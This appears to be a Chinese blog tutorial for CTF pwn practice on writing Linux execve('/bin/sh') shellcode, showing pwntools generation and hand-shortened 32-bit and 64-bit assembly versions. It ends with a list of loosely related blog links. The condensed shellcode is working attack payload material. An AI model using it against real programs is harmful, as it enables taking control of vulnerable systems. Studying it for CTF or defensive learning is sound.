linux环境下shellcode的编写:32位和64位
linux环境下shellcode的编写
- shellcode的理解
- 使用pwntools工具编写
- 自己实现更精炼的
- 32位shellcode
- 64位shellcode
shellcode的理解
我们在做pwn的时候经常需要使用shellcode来获取到flag,那么shellcode如何理解,简单一句话就是:获取到shell的code就是shellcode。
在漏洞利用过程时,我们将精心编制好的shellcode通过有问题的程序写入到内存中,然后执行。该shellcode对应的c语言代码一般为:
system("/bin/sh");
也就是说我们将上述的c语言代码翻译成汇编语言,然后进一步翻译成opcode(汇编语言对应的十六进制表示),最后按照正确的大小端顺序存放到内存中。通过一定手段让shellcode执行,然后我们就会得到linux下的交互终端。至于如何注入shellcode,如何让其执行,以及在复杂的题目条件下对shellcode进行拆分、组装以及重新编码(去掉特殊字符)等,此处不讲解,可以参考我其它的博文,重在积累。
使用pwntools工具编写
对于一般pwn的shellcode题目求解,我们可以直接利用python的库pwntools来自动生成shellcode。按照下面的步骤进行即可:
# 安装pwntoolspip install pwntools
# python3
from pwn import *# 配置上下文
# context(os="linux", arch="i386") 32位系统
context(os="linux", arch="amd64") 64位系统# 生成shellcode
code = shellcraft.sh()
print(code) # 汇编语言
print(asm(code)) # opcode,十六进制形式
print(len(asm(code))) # 查看汇编后的字节长度
自己实现更精炼的
对于一些读取输入大小有限制的题目,我们需要自己编写更短小的shellcode,下面我将分别介绍32位和64位的shellcode编写原理以及自己实现的更精炼的shellcode代码。这里展示的是汇编代码,在漏洞利用时需要转换为字节码,各位打工人也可以自己试试将下面的汇编代码重新打乱,删减,编写更短小的shellcode。
32位shellcode
我们编写的shellcode是实现c语言代码的system("/bin/sh")
函数调用,该函数会调用底层的sys_execve(),通过中断操作以及系统调用来获取shell。具体的底层细节我们也不用过多深入,毕竟说白了system()也是个函数,我只需要知道其需要几个参数,是压栈还是存入寄存器就行了。
python官方的实现版本:
/* execve(path='/bin///sh', argv=['sh'], envp=0) *//* push b'/bin///sh\x00' */push 0x68push 0x732f2f2fpush 0x6e69622fmov ebx, esp/* push argument array ['sh\x00'] *//* push 'sh\x00\x00' */push 0x1010101xor dword ptr [esp], 0x1016972xor ecx, ecxpush ecx /* null terminate */push 4pop ecxadd ecx, esppush ecx /* 'sh\x00' */mov ecx, espxor edx, edx/* call execve() */push SYS_execve /* 0xb */pop eaxint 0x80
以上代码python官方都给了注释,整个汇编代码实现的是execve(path='/bin///sh', argv=['sh'], envp=0)
这个函数调用,但官方的太长了,我们可以精简一下。其实现原理和重现编写后的代码总结如下:
#########################################################################
## 一般函数调用参数是压入栈中,这里系统调用使用寄存器
## 需要对如下几个寄存器进行设置,可以比对官方的实现ebx = /bin/sh ## 第一个参数ecx = 0 ## 第二个参数edx = 0 ## 第三个参数eax = 0xb ## 0xb为系统调用号,即sys_execve()系统函数对应的序号int 0x80 ## 执行系统中断
######################################################################### ## 更精炼的汇编代码
##
## 这里说明一下,很多博客都会用"/bin//sh"或者官方的"/bin///sh"
## 作为第一个参数,即添加/线来填充空白字符。这里我将"/bin/sh"
## 放在最前面,就不存在汇编代码中间存在空字符截断的问题;另外
## "/bin/sh"是7个字符,32位中需要两行指令,末尾未填充的空字符
## 刚好作为字符串结尾标志符,也就不需要额外压一个空字符入栈。push 0x68732f # 0x68732f --> hs/ little endianpush 0x6e69622f # 0x6e69622f --> nib/ little endianmov ebx, espxor edx, edxxor ecx, ecxmov al, 0xb # al为eax的低8位int 0x80## 汇编之后字节长度为20字节
64位shellcode
这里的思路和前面32位的一样,此处不再赘述,直接给出。
python官方的实现版本:
/* execve(path='/bin///sh', argv=['sh'], envp=0) *//* push b'/bin///sh\x00' */push 0x68mov rax, 0x732f2f2f6e69622fpush raxmov rdi, rsp/* push argument array ['sh\x00'] *//* push b'sh\x00' */push 0x1010101 ^ 0x6873xor dword ptr [rsp], 0x1010101xor esi, esi /* 0 */push rsi /* null terminate */push 8pop rsiadd rsi, rsppush rsi /* 'sh\x00' */mov rsi, rspxor edx, edx /* 0 *//* call execve() */push SYS_execve /* 0x3b */pop raxsyscall
实现原理加代码精炼:
######################################################################
## 64位linux下,默认前6个参数都存入寄存器,所以这里没的说也使用寄存器
## 寄存器存储参数顺序,参数从左到右:rdi, rsi, rdx, rcx, r8, r9rdi = /bin/sh ## 第一个参数rsi = 0 ## 第二个参数 rdx = 0 ## 第三个参数 rax = 0x3b ## 64位下的系统调用号syscall ## 64位使用 syscall
####################################################################### 精炼版本
##
## 这里说明一下,很多博客都会用"/bin//sh"或者官方的"/bin///sh"
## 作为第一个参数,即添加/线来填充空白字符。这里我将"/bin/sh"
## 放在最前面,就不存在汇编代码中间存在空字符截断的问题;另外
## "/bin/sh"是7个字符,64位中需要一行指令,末尾未填充的空字符
## 刚好作为字符串结尾标志符,也就不需要额外压一个空字符入栈。mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endianpush rbxpush rsp pop rdixor esi, esi # rsi低32位xor edx, edx # rdx低32位push 0x3bpop raxsyscall## 汇编之后字节长度为22字节
linux环境下shellcode的编写:32位和64位相关推荐
- Linux环境下用vim编写编译运行C/C++程序
在Linux环境下编写编译运行C程序 首先在终端下输入命令进入编写 vim hello.c #include <stdio.h> int main() {printf("hell ...
- Linux环境下Verilog电路的前后仿真及版图规划
目录 前言 电路编写及前后仿真 布局布线 总结 前言 本文主要描述了Linux环境下使用Verilog编写电路.对电路进行前后仿真并进行版图规划的过程.文中所使用的EDA工具为Candence公司的E ...
- Linux下shellcode的编写
Linux下shellcode的编写 来源 https://xz.aliyun.com/t/2052 EdvisonV / 2018-02-14 22:00:42 / 浏览数 6638 技术文章 技 ...
- 64位linux,sizeof(int),C中sizeof()的用法——32位和64位下的sizeof()
机器平台:X86_64 处理器 操作系统:Red Hat 4.1.2-14 编译器: gcc version 4.1.2 20070626 Size of char is: ...
- C#编写运行在Linux环境下的采用Mediainfo来获取多媒体文件信息的代码
C#编写运行在Linux环境下的采用Mediainfo来获取多媒体文件信息的代码 原文:C#编写运行在Linux环境下的采用Mediainfo来获取多媒体文件信息的代码 项目开始设计的是运行在wind ...
- 在Linux环境下用C语言编写一个乘法程序mult,从命令行接收两个数字,然后输出其乘积;再用C语言编写一个exec1程序,在程序中使用execvp调用mult程序计算5与10的乘积。
在Linux环境下用C语言编写一个乘法程序mult,从命令行接收两个数字,然后输出其乘积:再用C语言编写一个exec1程序,在程序中使用execvp调用mult程序计算5与10的乘积. 1.mult. ...
- 【 Linux学习】Linux环境下利用OpenSSL对大文件进行AES加解密
一.背景 之前的几篇博客已经介绍了Gitlab如何备份恢复与迁移已经脚本监控过程等. git学习--> Gitlab如何进行备份恢复与迁移? http://blog.csdn.net/ouyan ...
- LabVIEW 32位和64位开发环境常见问答
LabVIEW 32位和64位开发环境常见问答 应该下载32位还是64位版本的LabVIEW? 应使用最适合操作系统和应用程序特定内存需求的任意选项.大多数LabVIEW工具包和模块都支持LabVIE ...
- Linux环境下的数据库(基础篇上)
数据库 一.Linux环境下数据库的安装 二.数据库的基础操作 三.数据库中表的操作 一.Linux环境下数据库的安装 需要在 root 用户权限下进行数据库的一系列安装操作 安装 mariadb 服 ...
最新文章
- Java 算法-异或校验和
- 开发日记-20190802 关键词 闲聊
- [转]SAP FI/CO 模块设置
- 10上wsl位置迁移_wsl的安装/升级笔记
- C语言二叉树的逆向有序遍历(附完整源码)
- matlab验证Ross随机过程(第二版)P19页的结果
- python httplib2的安装
- ThinkingInJava对this关键字的介绍
- jsp页面显示富文本框内容
- 学校计算机房的占地面积是78,国内哪所国际高中好,可以考取美国大学
- AWS披露面向Amazon S3的AI监控方案
- FFA 2021 专场解读 - 开源解决方案 / 流批一体
- 服务器 通知系统设计,组列表管理服务器的设计与实现
- linux引导界面含义,Linux引导时输入特殊信息的含义的方法
- ftp工具哪个好,推荐8个超级好用而且免费的ftp工具,支持中文版windows系统的。
- php的pdo mysql扩展模块_php pdo链接
- 计算机专业教学总结,计算机教研组教学工作总结
- 基于springboot的ShardingSphere5.2.1的分库分表的解决方案之数据加密之RSA的解决方案(九)
- Android studio百度地图SDK开发 2020最新超详细的Android 百度地图开发讲解(6) POI检索, 根据地址输入提示检索 Sug
- V-rep 仿真与python远程控制